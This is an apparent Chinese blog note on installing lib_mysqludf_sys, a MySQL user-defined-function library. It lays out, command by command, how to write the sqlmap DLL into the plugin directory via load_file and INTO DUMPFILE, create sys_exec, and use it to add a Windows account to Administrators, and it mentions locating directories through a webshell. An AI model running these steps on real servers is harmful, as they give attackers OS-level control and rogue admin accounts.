lib_mysqludf_sys的安装过程

时间:2022-07-06 08:11:12

看了太多资料,累坏了,先杂乱的放在这里吧,回头有时间再排版

一、window系统

1、从sqlmap中找到32为的 lib_mysqludf_sys.dll (64位的我没有测试成功)

选择数据库

USE mysql;

创建数据表

CREATE TABLE npn(line blob);
lib_mysqludf_sys.dll里的内容写入数据表

INSERT INTO npn values(load_file('d:/lib_mysqludf_sys.dll'));

把数据表内的内容写到lib_mysqludf_sys_32.dll里面(其实这两个dll是一样的;)

SELECT * FROM mysql.npn INTO DUMPFILE 'd:/lib_mysqludf_sys_32.dll';
关键的一步:一定要把lib_mysqludf_sys_32.dll拷贝到mysql的plugin目录下,这样下面的命令才可以执行
 
CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
上面执行成功后,便可以对window做各种操作了:
SELECT sys_exec("net user npn npn12345678 /add");

SELECT sys_exec("net localgroup Administrators npn /add");

2、

如果不清楚mysql lib目录可以登mysql执行

mysql> show variables like '%plug%';

lib_mysqludf_sys的安装过程

注意,如果库中没有相关的函数者会报错如:

lib_mysqludf_sys的安装过程

3、mysql通过plugin可以扩展更多的功能.plugin相当于一种插件,用户可以根据自己的需要求开发各种
各样的plugin来支持自定义的功能,比如存储引擎,半同步复制,分区等等各种各样的功能.

mysql服务器的plugin可以分为两类,一种是内置的plugin,一种是外部的plugin.内部的plugin主要是和
mysql服务器一起分发的,用户不需要额外干预.而外部的plugin是由用户自行开发,实现某种特殊的功能.
可以通过 show plugins来查看。如果library栏位为null,就表示为内置的plugin,否则为外部的plugin。

mysql> show plugins;

lib_mysqludf_sys的安装过程

4、BLOB类型的字段用于存储二进制数据

MySQL中,BLOB是个类型系列,包括:TinyBlob、Blob、MediumBlob、LongBlob,这几个类型之间的唯一区别是在存储文件的最大大小上不同。

MySQL的四种BLOB类型
类型 大小(单位:字节)
TinyBlob 最大 255
Blob 最大 65K
MediumBlob 最大 16M
LongBlob 最大 4G

5、从MYSQL 5.1版本开始必须要把udf.dll文件放到MYSQL安装目录下的lib\plugin文件夹下才能创建自定义函数,并且该目录默认是不存在的,这就需要我们使用webshell找到MYSQL的安装目录,并在安装目录下创建lib\plugin文件夹,然后将udf.dll文件导出到该目录即可。

6、mysql dumpfile 与 outfile 函数的区别

into outfile 函数会 在行末端写入新行 更致命的 是会转义换行符, 这样的话2进制可执行文件就会被破坏 ,

在导出到 一个txt文件,事实上是可以完整导出每行记录的.这个很适合导库,如果要导出多行记录,dumpfile是不行的 它只能导出 一行数据!

into dumpfile 就能导出 一个完整能执行的2进制 文件into dumpfile 函数不对任何列或行进行终止,也不执行任何转义处理

7、查看系统plugin的设置目录;

select @@basedir;  --获取mysql安装目录;

show variables like "%plugin%"

二、linux:

1、从下面地址下载最新的文件

https://github.com/mysqludf/lib_mysqludf_sys

2、进入文件目录,执行下面命令:

$ sudo ./install.sh

根据提示进行安装